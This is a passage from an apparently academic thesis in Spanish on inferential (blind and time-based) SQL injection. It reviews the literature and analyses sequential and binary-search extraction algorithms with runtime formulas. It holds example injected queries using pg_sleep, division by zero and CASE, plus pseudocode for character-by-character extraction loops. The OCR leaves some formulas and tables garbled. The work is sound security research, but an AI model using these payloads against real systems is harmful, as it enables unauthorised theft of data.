En otras técnicas de prevencion y deteccion encontramos (W. G. J. Halfond et al., 2008):

= Pruebas de caja negra.

= Verificadores de cédigo estatico.

= Andlisis combinado estético y dinamico.

» Enfoques basados en andlisis de entradas contaminadas.
= Paradigmas de desarrollo con nuevas consultas.

» Sistemas de deteccién de intrusos.

= Filtros de proxy.

= Conjunto de instrucciones aleatorio.

La primera técnica de prevenciéon, llamada prueba de caja negra es la prueba de

penetracién a la que hace referencia la norma 1SO 27002.

Las pruebas de penetracion en sistemas de informacion iniciaron en el afio 1985, basado
en las ideas de (Weissman, 1985) quien escribi6 un ensayo de 10 secciones donde
describe un método integral para la realizacion de analisis de penetracién, dentro del cual
las pruebas de penetracion eran un componente en su metodologia. Estas ideas fueron
estructurandose y aplicandose a sistemas de informacion, cuando se escribié el articulo:
“enfoque sistematico para la prueba de penetracion de un sistema de software existente”
(Pfleeger, Lawrence, & Theofanos, 1989, p. 613). En lo definido por estos autores, dicha
prueba inicia con un andlisis del sistema, hipotesis de posibles fallas, confirmacion o
rechazo de la hipétesis, y extension de una hip6tesis confirmada. En ese enfoque se utiliza

el andlisis de los requisitos y controles de seguridad para identificar los objetos que se van
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a proteger y para anticipar posibles ataques a esos objetos. Posteriormente, (Farmer &
Venema, 1993) indicaron que se podia mejorar la seguridad de un sitio rompiéndolo o en
otras palabras, realizar una auditoria simulando ser un intruso del sistema, lo cual
confirmaba los dos estudios anteriores. Esta técnica es conocida ahora como pruebas de
penetracion. En el afio 1998, (Krsul, 1998) propuso en una tesis doctoral una metodologia
de analisis de vulnerabilidad del software. Una idea similar fue propuesta por (Du, 1998)
con el nombre de prueba de vulnerabilidad. Desde el afio 1999, el andlisis de
vulnerabilidades y las pruebas de penetracion son unidas para tener un mecanismo de
auditoria denominado Analisis de vulnerabilidad y pruebas de penetracion (Vulnerability
Analysis and Penetration Testing VAPT) (Jansen, Walsh, Dolan, Wright, & Montequin,
2000).

Este analisis de Vulnerabilidad y Pruebas de Penetracién es un analisis sistematico usado
para la evaluacién de la seguridad de la informacién para identificar y -reportar riesgos de
seguridad. El analisis de vulnerabilidad “implica el descubrimiento de un subconjunto de
entrada con el que un usuario malintencionado puede explotar un sistema para conducirlo
a un estado inseguro [...]. El proceso general consiste en escanear de manera activa el
sistema para [encontrar] las [...] fallas de software” (Shah & Mehtre, 2015, p. 1). El paso
siguiente es realizar pruebas de penetracion, el cual es un método exhaustivo para poner
a prueba el sistema y determinar la dificultad que tiene un atacante para penetrar los
controles de seguridad establecidos por la organizacion para prevenir los riesgos de

accesos no autorizados a la informacion (Shah & Mehtre, 2015).

Para realizar las pruebas de penetracion y agilizar los resultados de la auditoria en
ciberseguridad se pueden aplicar los mismos conceptos que usan las técnicas y
herramientas de auditoria asistidas por computador (Valencia Duque & Tamayo Arias,
2016).

La Norma Internacional de Auditoria (NIA, 2002a, 2002b) y la Asociacion de Auditoria y
Control de Sistemas de Informacién (ISACA, 2008) definen CAATTS, como sistemas
automatizados que el auditor usa como parte de los procedimientos de auditoria. Los
beneficios de usar estas herramientas son la optimizacion del tiempo por parte de los
auditores y la revision exhaustiva que no podria realizarse de manera manual.
Herramientas con principios similares a estos son usadas ampliamente tanto en el analisis

de vulnerabilidad y las pruebas de penetracion (Shah & Mehtre, 2015). Durante esta
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investigacion, se analizaron las herramientas de auditoria usadas para las pruebas de
penetracion sobre el riesgo de inyecciones SQL inferenciales y se determinara si es posible
realizar una mejora a estas herramientas o la construccién de una herramienta mas

eficiente.

Esta investigacion se concentra en la reduccion del tiempo que se emplea en las pruebas
de penetracion y toma los conceptos de prueba de caja negra. En sus objetivos se
encuentra el andlisis de las herramientas automatizadas y, precisamente, uno de sus

resultados es una herramienta para una auditoria asistida por computador.

2.5 Investigaciones recientes sobre inyecciones SQL
inferenciales

Debido al aumento de la delincuencia informética y a la amplia utilizacion de los sitios web
gue almacenan todo tipo de informacion disponible a través de Internet, se creé la Ley
1266 de 2008 o Ley de habeas data garantizando la necesidad de mantener la informacion
personal con el derecho a la intimidad (Ley estatutaria 1266, 2008). Por lo anterior, toda
organizacién, empresa 0 persona que tenga almacenada informacion en bases de datos

esta obligada por el estado a proteger sus entornos web.

Se han definido varias metodologias para realizar el analisis de vulnerabilidad y pruebas
de penetracion (Shah & Mehtre, 2015), las cuales se usan con el objetivo de encontrar
riesgos y evaluar los controles implementados en los componentes de la infraestructura
tecnoldgica (G. Stoneburner, Goguen, & Feringa, 2002). Ademas, se realizan congresos
de seguridad con el fin exclusivo de encontrar vulnerabilidades nuevas (llamadas Zero
Day), mostrar resultados de la aplicacion de VAPT en entornos reales (Tian, Yang, Xu, &
Si, 2012) y difundir nuevas herramientas de auditoria. Por tanto, se ha producido un
ecosistema donde entusiastas y profesionales de la ciberseguridad ayudan a mejorar los
entornos web que todos usamos y una amplia cantidad de herramientas a disposicion de
los auditores. Este ecosistema se basa en la programacion de eventos con conferencias
gue pueden durar varios dias, como las programadas por OWASP (OWASP, 2016) y

BSIDES (BSIDES, 2016) con capitulos en varias ciudades a nivel mundial. Ademas, esta
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la conferencia més concurrida a nivel mundial llamada DEF CON, que retne a mas de 15
mil personas interesadas en la ciberseguridad (DEF CON, 2016). A nivel colombiano, se
realiza la conferencia BSIDES del capitulo Colombia (Bsides, 2016) y la conferencia
DragonJAR (DragonJar, 2016).

Las pruebas de penetracion para la evaluacion del riesgo de inyecciones SQL inferenciales
se realizaban de manera manual, tal y como lo describe quien identificé por primera vez
este subtipo del riesgo de inyecciones SQL (Anley, 2002a). Ese mismo afio, el mismo autor
amplia su investigacion sobre dicha vulnerabilidad y muestra el que seria el primer
algoritmo para la prueba de penetracién: extraccion bit a bit (Anley, 2002b). A partir de ese
momento, se empezaron a realizar investigaciones encaminadas a su automatizacion y
optimizacion. Ese mismo afio (Cerrudo, 2002) presenta en una conferencia de
ciberseguridad llamada Black Hat su investigacion sobre este riesgo, mostrando cémo
afecta la integridad no solo de la base de datos, sino de la infraestructura donde se
encuentra. En (Maor & Shulman, 2003) se presenta un nueva forma de penetracion a
través de la inyeccidbn de errores ademas de otras técnicas hasta ese momento
desconocidas para la extraccién de informacion que permitian hacer consultas mas

avanzadas.

Teniendo en cuenta la complejidad manual de las pruebas de evaluacion, (Cameron
Hotchkies, 2004) desarrolla una herramienta denominada SQueal (ahora llamado
Absinthe), la cual implementa un nuevo algoritmo para la prueba de penetracion: algoritmo
de busqueda binaria. Al presentar este algoritmo, explica que es una optimizacién de otro
el cual consiste en una busqueda secuencial. Hasta ese momento, la inyeccioén inferencial
se conocia cémo la inyeccién ciega (algunos autores continGan usando ese nhombre) hasta
gue (Litchfield, 2005, p. 4) indico la razén por la cual deberia llamarse inferencia: “No se
transmiten datos, pero observando diferencias en la respuesta de la aplicacion, el atacante
puede inferir el valor de los datos”. Ademas, el mismo autor presenta ejemplos de cémo
usar este riesgo para afectar la confidencialidad a través de mineria datos. Posteriormente
se realiza una investigacion (Alonso et al., 2007) donde se demuestra que puede
explotarse este riesgo aln si la base de datos no tiene métodos para inyeccion de tiempo,
usando consultas pesadas. Este autor presenta una nueva herramienta llamada Marathon
Tool para la base de datos SQL Server. El afio siguiente, (W. G. J. Halfond et al., 2008)

escribe el que seria el articulo mas citado sobre el tema de inyecciones SQL, realizando
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una taxonomia del riesgo y clasificando el riesgo de inyecciones SQL Inferenciales en dos:
Inyeccidn ciega (no basada en tiempo) y ataques de tiempo. En (Halde, 2008) se presenta
varias herramientas existentes y mejora una llamada SQLiX, la cual compara con Acunetix,
SQLmap, wapiti, paros y pixy. Durante el afio 2009, se escribe uno de los libros mas citados
sobre el tema (Clarke & Alvarez, 2009) que recopila las técnicas y algoritmos
documentados hasta ese momento. El capitulo 5 de este libro es dedicado al riesgo de
inyecciones SQL ciegas y explica los siguientes algoritmos para las pruebas de
penetracién: algoritmo secuencial, el algoritmo de busqueda binaria y el algoritmo bit a bit.
Ademas, muestra cédmo usar los retardos de tiempos y aplicar en diferentes bases de datos
dichos algoritmos. Dentro de las herramientas, este libro muestra Absinthe, BSQL Hacker,
SQLBrute, SQLNinja 'y Squeeza. No obstante, existen otros algoritmos que no se analizan

en el libro ni se comparan entre si.

A partir de ese momento, las investigaciones se encaminan en mejorar los algoritmos,
disefiar nuevos y generar una herramienta para cada algoritmo encontrado. La
investigacion de (Evteev, 2010) aplica los algoritmos con la técnica inyeccién de errores
(no basada en tiempo) y (Quatrini & Rondini, 2011) crean una optimizacién de los
algoritmos de extraccion a través de expresiones regulares. En (Toews & Scott Behrens,
2012) los autores presentan una nueva herramienta, llamada BBQSQL y una optimizacién
al algoritmo secuencial y busqueda binaria ordenando los caracteres por su probabilidad
de ocurrencia, a la que se llama en esta tesis Busqueda binaria/secuencial optimizada por

probabilidad.

En (Nagpal, Singh, Chauhan, & Panesar, 2015) los autores presentan una comparacion
entre las siguientes herramientas de extraccion: Havij, BSQL Hacker, Marathon Tool y SQL
Power Injector. También nombran a SQL Poizon, aungue no le realizan ningun andlisis. En
la tesis de Maestria de (Wheeler, 2015) explica una herramienta llamada BlindCanSeeQL
gue extrae informacién a través de otra optimizacion de un algoritmo de busqueda usando
diccionario, pero no se cuenta con un lanzamiento de la aplicaciébn para uso general.
Durante el afio 2016 se publicé una tesis (Hudak, 2016) donde se genera una estrategia
de prevencién y se evalla con la herramienta SQLMAP. Ademas, en este mismo afio, uno
de los creadores de la herramienta SQLMAP (Stampar, 2016) realiza una investigacion

comparando empiricamente tres algoritmos optimizados. En la tabla 1 se muestran los tres
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algoritmos analizados (mas sus optimizaciones) y el tiempo usado en la extraccion de

informacion.

En ese mismo afio, PhD. Owen Redwood publica en su blog (Redwood, 2016) un algoritmo
al que llama extraccion de multiples bits por solicitud a partir de la vulnerabilidad inyeccién
SQL completamente ciega, aunque sin ninguna implementacion préctica. Igualmente, en
el 2016 se realiz6 una clasificacion diferente de la deteccion y prevencion de ataques de
inyecciones SQL (Aliero, Ardo, & Ghani, 2016). Ademas, en este mismo afio se realizd
una revision sistemética de literatura analizando 20 diferentes articulos sobre las
inyecciones SQL(Lawal, Sultan, & Shakiru, 2016) que se uso para esta investigacion y se
publicaron otros articulos sobre como realizar aplicaciones que se defiendan de los
ataques basandose en la intencion del usuario (Chenyu & Fan, 2016) y en la arquitectura
de la consulta(George & Jacob, 2016).

Tabla 1 Comparacion de algoritmos de busqueda

Método i de solicitudes Inyeccion ciega (s) Ataques de tiempo (s)

Busqueda secuencial 5412 305.44 / 800.27 367.13 /882.84
(regular)

Blsqueda secuencial 2140 120.67 / 253.11 184.97 / 414,58
(optimizada)

Busqueda binaria 537 30.34 / 72.17 241,85/ 517.75
(regular)

Busqueda binaria 494 27.89 / 64.63 173.57 / 375.95
{optimizada)

Extraccion bit a bit 337 30.25 / 68.74 315.41 / 487.24
(regular)

Extraccion bit a bit 470 26.63 / 59.21 238.19 / 485.72
{optimizada)

Fuente: (Stampar, 2016)

Durante el afio 2017, se realizaron varios estudios dedicados a esta vulnerabilidad. En
(Ghafarian, 2017), se propone un método hibrido para la prevencion de los ataques de
inyecciones SQL. Este método consiste en una capa estatica de base de datos y otra

dinamica de CGl, la cual consiste en tres partes:

1. Modificar las tablas de la base de datos para agregar un registro que tenga el

simbolo pesos.
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2. Ejecutar un CGI que analice la entrada que se enviara a la base de datos y que
construya la consulta de manera dinamica.
3. Elresultado de la consulta se compara un formato de consulta valida y se rechaza

en caso que no corresponda.

Este método tiene algunas desventajas, como reconoce el mismo autor, solo protege de

inyecciones tautolégicas y sobrecarga la base de datos con registros adicionales.

Al final de dicho afio, se publicé otra revision sisteméatica (Faker, Muslim, & Dachlan, 2017)

sobre las técnicas usadas para realizar una inyeccion SQL. Este articulo contiene la

clasificacién mas reciente de las inyecciones SQL y se encuentra resumida en la tabla 2.

Tabla 2 Clasificacion reciente de las inyecciones SQL

Ref. TIPD.E de iy Técnicas / implementacién
clasificacidn
Consulta a Inserta consultas adicionales a ser ejecutadas
cuestas
Tautologia Crear una consulta que siempre sera correcta
Encoding Ataques de codificacidn con objeto de evadir el filtrado.
Ataques SQL alternativos Ej. User=41£}44d494& en quar de user=ADMIN
Clési Consultas Usar mensajes de error realizados por la base de datos
asicos . : -
ldgicas [ ilegales | para encontrar datos dtiles
Uniones Consultas inyectadas son unidas con una consulta
[4] legal a través de la sentencia UNION
[6] Procedimientos Ei - ; .
jecuta procedimientos internos o funciones
[32] almacenados
[3] Ataques SQL Respuesta condicional
[7] ciegos Errores condicionales
[2] Inferencial {F‘u;nla;g?derm’ Canales fuera de banda
Ataques 30QL de | Inyeccion doble ciega (retraso)
tiempo (if then) Inyeccion profunda ciega (multiples declaraciones)
Ataques SQL | Huella digital de la base de datos (version y host)
:fﬁqeuct:"lrcos Mapeo de base de datos
Ataques SQL Ataques 30QL de fundicion rapida
compuestos

Fuente: (Faker, Muslim & Dachlan, 2017)

En el afio 2018, se realizaron investigaciones sobre las inyecciones de comandos y

métodos de prevencion y deteccion de las inyecciones SQL. En (Stasinopoulos &

Ntantogian, 2018), los autores abordan de manera exhaustiva las inyecciones de

comandos de sistema operativo. En este articulo, se presentan los diferentes tipos de
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inyecciones de comando: Clasicas basadas en resultados, evaluacion dinamica de cédigo,
ciegas: basadas en tiempo y en archivos permanentes y temporales. Luego presentan una

herramienta para la evaluacion de este riesgo en las aplicaciones web.

En una investigacion realizada en la Universidad de San José, California (Ross, Moh, &
Yao, 2018) se aplica las técnicas de Machine Learning y de andlisis de datos multi-fuente,
a la prevencion de los ataques de inyecciones SQL. A través de estas técnicas, lograron
detectar con un 98% de eficacia estos ataques.

Desde el afio 2002 en que se documenté por primera vez el riesgo de inyecciones SQL
inferenciales (Anley, 2002a) hasta el dia de hoy se han realizado esfuerzos por reducir el
tiempo en las pruebas de penetracién y ademas, se han producido herramientas para
automatizarlas. Sobre el riesgo de inyecciones inferenciales, son pocos los articulos
escritos y los analisis realizados, aunque puede verse que el tema es de interés cientifico
y profesional. Hasta la fecha, no se han realizado analisis tedricos sobre los algoritmos
usados para el riesgo mencionado ni sobre las herramientas especificas utilizadas. Esta
falta de estudios y la construccién de herramientas de manera independiente y sin rigor
cientifico aumentan las posibilidades de reducir el tiempo de evaluacién del riesgo de

inyecciones SQL inferenciales.






3.Analisis y comparaciéon de los algoritmos
para la evaluacién de inyecciones SQL
inferenciales

Los ataques inferenciales se basan en razonamiento l6gico y se infiere el resultado basado
en el comportamiento del objetivo (W. G. J. Halfond et al., 2008; Stampar, 2016). Cualquier
caracteristica observable que presente cambios en el sitio web es utilizada para establecer
un criterio de comportamiento cuando la inyeccién es falsa y otro cuando la inyeccién es
verdadera. Pueden ser cambios en el cédigo de retorno, en el contenido de la pagina
(mostrando informacién diferente o errores de aplicacion) o diferencias en el tiempo de
respuesta. La caracteristica principal de este tipo de ataque es que se introducen
preguntas booleanas en la consulta original para que de acuerdo al resultado (verdadero
o falso) realice el cambio en el comportamiento y de esa manera se pueda inferir el valor

de la base de datos. Se han identificado dos subtipos para la realizacién de este ataque.

3.1 Tipos de inyecciones inferenciales

3.1.1 Basadas en tiempo

En este subtipo de ataque, la consulta original se modifica para que se introduzca un

retraso de tiempo (Slaviero, 2012). Existen dos métodos establecidos para introducirlo:

= Funciones de pausa en la base de datos.

» Forzar la ejecucion de consultas pesadas.
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Sea cual sea el método elegido, a través de las entradas de la pagina web, se modifica la
consulta SQL original que se realiza sobre la base de datos, de manera que se ejecuta una
consulta alterada. Esta consulta contiene la pregunta booleana que permite extraer el
contenido de la base de datos caracter por caracter. Si el resultado es verdadero, la base
de datos ejecutara la pausa deseada, reflejandose en el tiempo de respuesta de la pagina
web, indicando asi el resultado de la pregunta booleana inyectada (Stampar, 2016). Con
el fin de dar mayor claridad: si se tiene una pagina web conectada a una base de datos
Postgres, el comando de SQL propietario PG_SLEEP, inyecta una cantidad de tiempo
determinado. Entonces, se puede alterar la consulta original a través de las entradas de la

aplicacion asi:
Consulta original:
SELECT * FROM users WHERE login="admin’ and password="admin’
Consulta modificada (inyectando en el campo password):

SELECT * FROM users WHERE login="and password=" AND 1= (SELECT
pg_sleep(5) WHERE substring(login,1,1)="a’).

En esta consulta modificada, la base de datos generara una pausa de 5 segundos en caso
gue el primer caracter del campo login sea la letra ‘a’. A través de un mecanismo de
medicion del tiempo de carga de la pagina, se puede saber si el sitio web tuvo un tiempo
de carga normal o uno con 5 segundos adicionales. En caso que no se refleje el tiempo de
carga, se prosigue con la letra ‘b’ y asi sucesivamente hasta que el tiempo de carga refleje

la pausa de 5 segundos.

3.1.2 No basadas en tiempo

En esta tesis, se usa el término no basadas en tiempo, en lugar de basadas en error

(Slaviero, 2012) o inyecciones ciegas (W. G. J. Halfond et al., 2008) o inyecciones ciegas
no basadas en tiempo (Stampar, 2016). Aunque todos se refieren al mismo subtipo, la

expresion basadas en error no incluyen los cambios en la pagina web diferentes a
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mensajes de error (como cuando se altera el cédigo de retorno), el término inyeccioén ciega,
aunque es el mas comun, tiene una definiciébn que también aplica para el subtipo basado
en tiempo: “La informacion debe ser inferida desde el comportamiento de la pagina web al
realizar preguntas de verdadero o falso al servidor” (W. G. J. Halfond et al., 2008, p. 5).
Esta es, de hecho, una definicién general a todas las inyecciones SQL inferenciales. Igual
puede decirse de la definicidon de inyecciones ciegas no basadas en tiempo: “Los atacantes
intentan vincular la parte de la pregunta inferencial a la declaracién de SQL vulnerable de
tal manera que cambia el resultado final dependiendo de la respuesta a la misma pregunta”
(Stampar, 2016, p. 319).

En este subtipo, se modifica la consulta para forzar cualquier cambio en la pagina web que
sea diferente al tiempo de ejecucion. Un cambio comun es introducir o forzar un error de
ejecucion sobre la consulta, como errores de conversion o de desbordamiento de tipo,
division por cero o cualquier otro que solo se ejecutard si la consulta inyectada es

verdadera. La consulta modificada quedaria asi:
Consulta modificada (inyectando en el campo password):

SELECT * FROM users WHERE login=" and password=" AND (SELECT
5/0 WHERE substring(login,1,1)="a’).

En esta consulta modificada, la base de datos generard un error de division por cero en
caso gue el primer caracter del campo login sea la letra ‘a’. A través de un mecanismo de
analisis del cddigo fuente de la pagina, se puede saber si el sitio web tuvo un cambio en
su comportamiento, como un mensaje de error. En caso que no se refleje el error en la
aplicacion, se prosigue con la letra ‘b’ y asi sucesivamente hasta que el cédigo fuente

interpretado refleje el error producido por la inyeccion.

3.2 Condicionales

Para la evaluacion del este riesgo, debe elegirse la forma de usar o simular un condicional

en la base de datos. Se identifican las siguientes tres formas de hacerlo.
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3.2.1 Orden de evaluacion sentencia AND

Las bases de datos deben elegir un orden para la evaluacion de cada expresién del
WHERE o de la sentencia HAVING. Suponiendo una consulta WHERE asi: exprl AND
expr2 AND expr3 AND expr4. El motor de base de datos debe elegir un orden, iniciar desde
exprl o desde expr4 y evaluar cada expresion. Para el caso de las bases de datos que
inician en el orden de aparicion de las expresiones, esta inicia con exprl y si es verdadera,
seguira evaluando expr2. Si esta, a su vez, es verdadera, continla con expr3 y asi
sucesivamente. Existen motores que realizan esta evaluacion en otro orden, como, por
ejemplo, iniciar desde la expresion final y luego con la anterior y asi sucesivamente hasta

llegar a la primera.

Esta propiedad de la base de datos es aprovechada como condicional. Conociendo el
orden del motor de base de datos de la pagina web vulnerable, se puede colocar la
condicion (pregunta booleana que extrae la informacion) que queremos evaluar antes o
después (segun sea el orden de evaluacién) de la condicién que genera el cambio en la

pagina (Stampar, 2016).

3.2.2 Funciones condicionales de la base de datos

Algunas bases de datos tienen expresiones condicionales que permite ejecutar cierta
instruccién si cumple alguna condicion en particular. Por ejemplo, en el caso del motor
PostgreSQL, existe la expresion CASE. En Oracle, se encuentra la misma expresiéon CASE

y, ademas, la expresion IF. Esto ultimo ocurre también en MYSQL y en SQL Server.

El siguiente ejemplo usa la funcibn CASE, que es comun la mayoria de motores de base
de datos. Estas expresiones pueden usarse en el SELECT, en el WHERE o inclusive, en

el ORDER BY (Stampar, 2016). Al tener la siguiente consulta original:

Consulta original:
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SELECT * FROM users WHERE login="and password="

Esta consulta es modificada para que, usando la expresion CASE, solo inyecte una pausa

en la base de datos si el primer caracter del campo login es la letra A, asi:
Consulta modificada

SELECT * FROM users WHERE login=" and password=" AND (SELECT
CASE WHEN SUBSTRING(login,1,1)="A’ THEN pg_sleep(5) END) = ‘1’

De esta manera, si la pagina demora cinco segundos mas de lo normal en cargar, es

porque el primer caracter del login es la letra ‘A’.

3.2.3 Ubicacién en el WHERE de una SUB-CONSULTA

Ademas de las anteriores, que estan documentadas, esta investigacion define una manera
adicional: Ubicacion de la condicion en la seccion WHERE de una sub-consulta. Algunos
motores de base de datos SQL permiten sub-consultas. Es posible realizar una sub-
consulta que tenga la condicion que queremos evaluar en la seccion WHERE y la inyeccién

escogida en la seccién SELECT.

Para ilustrar este condicional, tomando la misma consulta original del condicional anterior,

es posible modificarla para que se envie a la base de datos asi:
Consulta modificada

SELECT * FROM USERS WHERE LOGIN=" and PASSWORD=" AND
(SELECT PG_SLEEP(1) FROM users WHERE SUBSTRING(login,1,1)="a’)
= 11 /'.

Sub-consulta (Para facilidad de lectura)

SELECT PG_SLEEP(1) FROM users WHERE SUBSTRING(login,1,1)="a’
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En este ejemplo, al evaluar la sub-consulta solo se ejecutaria la expresion de la seccion
SELECT si se cumple la condicién de la seccion WHERE. De esta manera puede usarse

como un condicional para la inyeccion inferencial.

3.3 Algoritmos de extraccidn

Para la extraccion de la informacién a través del riesgo de inyecciones SQL inferenciales,

se han implementado los siguientes algoritmos.

3.3.1 Busqueda Secuencial

Este algoritmo es el mas intuitivo y sencillo de implementar. Consiste en realizar una
busqueda exhaustiva por cada caracter de la base de datos. A continuacién, estara un

ejemplo de cémo funciona dicho algoritmo.
Consulta original:
SELECT * FROM users WHERE login="and password="
Para extraer de la tabla users el campo login se inicia con la siguiente consulta modificada:
Consulta modificada 1:

SELECT * FROM USERS WHERE LOGIN=" and PASSWORD=" AND
(SELECT sleep(5) FROM users WHERE SUBSTRING(login,1,1)="a’) = ‘1.

Si el tiempo de respuesta del sitio web es igual o superior a cinco segundos, entonces es
porque el primer caracter de ese campo es la letra ‘a’. En caso de que el tiempo sea inferior,

se procede con la siguiente consulta modificada.

Consulta modificada 2:
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SELECT * FROM USERS WHERE LOGIN=" and PASSWORD=" AND
(SELECT sleep(5) FROM users WHERE SUBSTRING(login,1,1)=D’) = ‘1.

Y se repite el proceso, verificar el tiempo de respuesta, y asi sucesivamente hasta que la
pagina web responda con un tiempo de carga de mas de cinco segundos. En ese caso, se
procede con el siguiente caracter del campo. Asi:

Consulta modificada 3:

SELECT * FROM USERS WHERE LOGIN=" and PASSWORD=" AND
(SELECT sleep(5) FROM users WHERE SUBSTRING(login,2,7)=a’) = ‘1".

Y asi sucesivamente por cada caracter del campo login, hasta encontrar la palabra

completa.

En la tabla 3 se encuentra el pseudocdédigo del algoritmo secuencial. En este algoritmo, la

variable n indica la cantidad de caracteres a extraer.

Tabla 3 Algoritmo secuencial

1) InferentialSeqSearch(n):
2) chars = getPossibleChars();
3) value =
4) for pos in range(1,n):
5) for char in chars:
6) payload = getPayload(pos,char)
7) if(testinjection(payload)):
8) value += char
9) Break

10) return value

Fuente: Elaboracion propia

En la linea 2, el método getPossibleChars(), retorna la lista de los posibles caracteres a
comprobar campo por campo. Dependiendo del idioma de la base de datos y si usa
caracteres especiales o no, este método retorna un subconjunto de los caracteres
UNICODE, organizados en orden ascendente, descendente o cualquier otro orden de

acuerdo a las optimizaciones implementadas. A continuacion, por cada caracter a extraer,
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se empieza a recorrer el sub-conjunto UNICODE. El método getPayload(pos,char) retorna
la consulta SQL modificada para la extraccion del caracter determinado. EI método
testinjection(payload) envia la inyeccién y analiza el comportamiento de la pagina web para
determinar si es verdadero o falso. En caso de ser verdadero, se sigue con el siguiente

caracter y se adiciona el encontrado a la cadena de retorno.

. Andlisis Teodrico
El andlisis tedrico que se muestra a continuacién se basa en el algoritmo mostrado en la

tabla 3. Las notaciones y variables usadas se explican en la lista de simbolos y

abreviaturas al inicio de este documento.

En la tabla 4, se encuentra el tiempo de ejecucion linea por linea del algoritmo secuencial.

De acuerdo con esto, el tiempo de ejecucién del algoritmo seria el siguiente:

Tm)=1+1+M) +(m*xA)+(n*xA)+ mM*A*x8)+ M)+ (n)+1
T(n) =3+ 3(n) + 2(nA) + (nAs)
T(n) =n(A[2+8]+3)+3

Tabla 4 Tiempo de ejecucion algoritmo secuencial

Linea Instruccion Tiempo de ejecucion
1 InferentialSeqSearch(n):

2 chars = getPossibleChars(); 1

3 value = 1

4 for pos in range(1,n): n

5 for char in chars: nxA

6 payload = getPayload(pos,char) nxA

7 if(testinjection(payload)): nxAxo
8 value += char n

9 break n

10 return value

Fuente: Elaboracion propia
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Aunque el tiempo de ejecucion calculado es cierto en el caso de las inyecciones
inferenciales no basadas en tiempo, para el caso de las basadas en tiempo, es necesario
adicionar el tiempo de inyeccion (A). Para dejar este punto claro, en la tabla 5 se encuentra

el tiempo de ejecucidn del algoritmo secuencial basado en tiempo.

Adicionando el tiempo de la pausa inyectada, la ejecucion total del algoritmo secuencial

basado en tiempo seria el siguiente:

TmM=1+1+n+m*A)+(n+A)+n(A+8+A)+n+n+1
T(n) = 3+ 3(n) + 2(nA) + (nAs) + (nd)

T(n) =3+n(3+2A+A8+A)

T(n) =n(A(2+8)+3+A)+3

Tabla 5 Tiempo de ejecucion algoritmo secuencial basado en tiempo

Linea Instruccion Tiempo de ejecucion
1 InferentialSeqSearch(n): 1

2 chars = getPossibleChars(); 1

3 value = 1

4 for pos in range(1,n): n

5 for char in chars: nxA

6 payload = getPayload(pos,char) nxA

7 if(testinjection(payload)): nx(A*x8+A4A)
8 value += char n

9 break n

10 return value

Fuente: Elaboracion propia

3.3.2 Busqueda Binaria

Este algoritmo, también llamado diseccién, se ha implementado en los algoritmos

inferenciales y es una adaptacion del algoritmo de busqueda binaria sobre un arreglo
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ordenado. Consiste en dividir repetidamente a la mitad los caracteres del sub-conjunto de
caracteres que podrian contener el caracter a encontrar. A continuacion, se esboza un

ejemplo de su funcionamiento.
Consulta original:
SELECT * FROM users WHERE login="and password="
Para extraer de la tabla users el campo login se inicia con la siguiente consulta modificada:
Consulta modificada 1:

SELECT * FROM USERS WHERE LOGIN=" and PASSWORD=" AND
(SELECT sleep(5) FROM users WHERE ASCII( SUBSTRING(login,1,1)
)>128) = 1",

Si el tiempo de respuesta del sitio web es igual o superior a cinco segundos, entonces es
porque el equivalente UNICODE del primer caracter de ese campo es superior a 128. En
caso de que el tiempo sea inferior, quiere decir que el caracter se encuentra entre el valor

UNICODE 1y 128, por lo tanto, se procede con la siguiente consulta modificada.
Consulta modificada 2:

SELECT * FROM USERS WHERE LOGIN=" and PASSWORD=" AND
(SELECT sleep(5) FROM users WHERE ASCII( SUBSTRING(login,1,1)
)>64) = 1"

En caso de que el tiempo de respuesta sea igual 0 mayor a los cinco segundos inyectados,
el valor equivalente UNICODE del primer caracter de ese campo esta entre 65y 128. En
caso contrario, el valor estaria entre 1 y 64. Se siguen realizando consultas similares,
dividiendo entre dos las posibilidades hasta encontrar el primer caracter del campo. Luego
se continta con el siguiente caracter hasta encontrar todos los elementos de la base de

datos.

En la tabla 6 se encuentra la implementacion de este algoritmo con una notacién similar a

la mostrada en el caso de la busqueda secuencial. Al igual que en el primero algoritmo, en
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la linea 2, el método getPossibleChars(), retorna la lista de los posibles caracteres a
comprobar campo por campo. A continuacion, por cada caracter a extraer, se define la

cota inferior y superior (lineas 5y 6).

Tabla 6 Algoritmo de busqueda binaria

1) BinSearch(n):
2) chars = getPossibleChars();

2933

3) value =
4) for pos in range(1,n):
5 L=0
6) R = len(chars)-1
7) while L < R:
8) T=chars[L+math.floor((R-L)/2)]

9) payload=getPayload(pos,T,=’)
10) If(testInjection(payload))

11) value +=T
12) Break

13) payload=getPayload(pos,char,’)
14) If testinjection(payload):

15) L=L+math.floor((R-L)/2)+1
16) else

17) R=L+math.floor((R-L)/2)-1

18) return value

Fuente: Elaboracion propia

Las cotas iniciales serdn desde 0 hasta la cantidad maxima de caracteres retornados en
la linea 2. Posteriormente, mientras la cota inferior no sea mayor a la superior, se obtiene
el elemento de la mitad del arreglo (linea 8). En la linea 9 se genera una consulta
modificada para verificar si este caracter de la mitad es el elemento buscado. Esta consulta
modificada se envia al servidor y se verifica a través del comportamiento esperado si se
encontr6 el caracter (linea 10). En caso de ser cierto, se adiciona el caracter encontrado a
la variable de retorno y se continda con el siguiente caracter. En caso de no ser cierto, se

genera una consulta modificada que pregunte si el caracter a encontrar es mayor al
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caracter de la mitad del sub-arreglo, calculado en la linea 8. Se envia esta consulta al
servidor y en caso de ser cierta se modifica la cota inferior para hacerlo igual al caracter
de la mitad. En caso de no ser cierto, se modifica la cota superior para hacerlo igual a este

mismo caracter. Finalmente, se retorna la variable con la cadena encontrada.

] Analisis tedrico

El andlisis tedrico que se muestra a continuacion se basa en el algoritmo mostrado en la
tabla 6. Al igual que en el caso anterior, y en todos los casos posteriores, las notaciones y
variables usadas se explican en la lista de simbolos y abreviaturas.

En latabla 7 se encuentra linea por linea el tiempo de ejecucion del algoritmo de busqueda

binaria. Por lo tanto, el tiempo de ejecucion de este algoritmo es el siguiente:

Tn)=14+1+Mm) + () +(n)

+<n*%>+(n*%)+(n*%)+(n*% *8)+(n) + (n) +(n*%>

+1

(2, (o), 0o2)

+< A 5)+
kX — k -
LY 2 20 2

A A
T(n) =3+5n +<6n§)+<2n*§ *8)

T(n):n<5+6(%)+2(%8>> +3

T(n)=n(%(28+6)+5) +3
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Tabla 7 Tiempo de ejecucion del algoritmo de busqueda binaria

Linea Instruccién Tiempo de ejecucion
1 BinSearch(n):
2 chars = getPossibleChars(); 1
8 value = 1
4 for pos in range(1,n): n
5 L=0 n
6 R = len(chars)-1 n
